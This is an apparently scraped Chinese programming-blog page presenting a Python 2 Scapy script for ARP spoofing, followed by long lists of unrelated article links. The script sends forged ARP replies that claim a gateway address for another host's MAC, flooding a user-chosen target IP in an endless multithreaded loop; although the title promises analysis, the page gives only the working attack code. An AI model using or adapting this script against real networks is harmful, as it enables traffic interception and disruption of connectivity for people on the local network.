python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Python version 2.7 required, which was not found in the registry
Aug 26 Python
Python使用面向对象方式创建线程实现12306售票系统
Dec 24 Python
用Python将动态GIF图片倒放播放的方法
Nov 02 Python
Java及python正则表达式详解
Dec 27 Python
python脚本生成caffe train_list.txt的方法
Apr 27 Python
Python中分支语句与循环语句实例详解
Sep 13 Python
python求质数的3种方法
Sep 28 Python
Python嵌套式数据结构实例浅析
Mar 05 Python
Python socket模块实现的udp通信功能示例
Apr 10 Python
Python中bisect的使用方法
Dec 31 Python
Python爬虫爬取百度搜索内容代码实例
Jun 05 Python
Python实现学生管理系统并生成exe可执行文件详解流程
Jan 22 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
使用PHP模拟HTTP认证
2006/10/09 PHP
php循环检测目录是否存在并创建(循环创建目录)
2011/01/06 PHP
PHP JSON格式数据交互实例代码详解
2011/01/13 PHP
IIS6.0 开启Gzip方法及PHP Gzip函数分享
2014/06/08 PHP
php下foreach提示Warning:Invalid argument supplied for foreach()的解决方法
2014/11/11 PHP
ThinkPHP中自定义错误页面和提示页面实例
2014/11/22 PHP
详解WordPress中用于合成数组的wp_parse_args()函数
2015/12/18 PHP
Yii2框架实现登陆添加验证码功能示例
2018/07/12 PHP
PHP使用redis位图bitMap 实现签到功能
2019/10/08 PHP
Google Suggest ;-) 基于js的动态下拉菜单
2006/10/11 Javascript
dojo 之基础篇
2007/03/24 Javascript
21个JavaScript事件(Events)属性汇总
2014/12/02 Javascript
javascript实现仿腾讯游戏选择
2015/05/14 Javascript
移动端JQ插件hammer使用详解
2015/07/03 Javascript
JS 使用 window对象的print方法实现分页打印功能
2018/05/16 Javascript
15个顶级开源JavaScript框架和库
2018/10/10 Javascript
基于vue框架手写一个notify插件实现通知功能的方法
2019/03/31 Javascript
微信小程序如何调用新闻接口实现列表循环
2019/07/02 Javascript
layui使用数据表格实现购物车功能
2019/07/26 Javascript
Node.js API详解之 zlib模块用法分析
2020/05/19 Javascript
vue实现循环滚动列表
2020/06/30 Javascript
分享15个最受欢迎的Python开源框架
2014/07/13 Python
Python的Flask开发框架简单上手笔记
2015/11/16 Python
详解用Python处理HTML转义字符的5种方式
2017/12/27 Python
Python使用matplotlib填充图形指定区域代码示例
2018/01/16 Python
python中subprocess批量执行linux命令
2018/04/27 Python
基于DataFrame改变列类型的方法
2018/07/25 Python
Python音频操作工具PyAudio上手教程详解
2019/06/26 Python
html5 Canvas画图教程(7)—canvas里画曲线之quadraticCurveTo方法
2013/01/09 HTML / CSS
美国马匹用品和骑马配件购物网站:Horse.com
2018/01/08 全球购物
英国历史最悠久的DJ设备供应商:DJ Finance、DJ Warehouse、The DJ Shop
2019/09/04 全球购物
韩语专业本科生求职信
2013/10/01 职场文书
道德演讲稿
2014/05/21 职场文书
优秀学生干部先进事迹材料
2014/05/26 职场文书
2014年行政人事工作总结
2014/12/09 职场文书
2015年调度员工作总结
2015/04/30 职场文书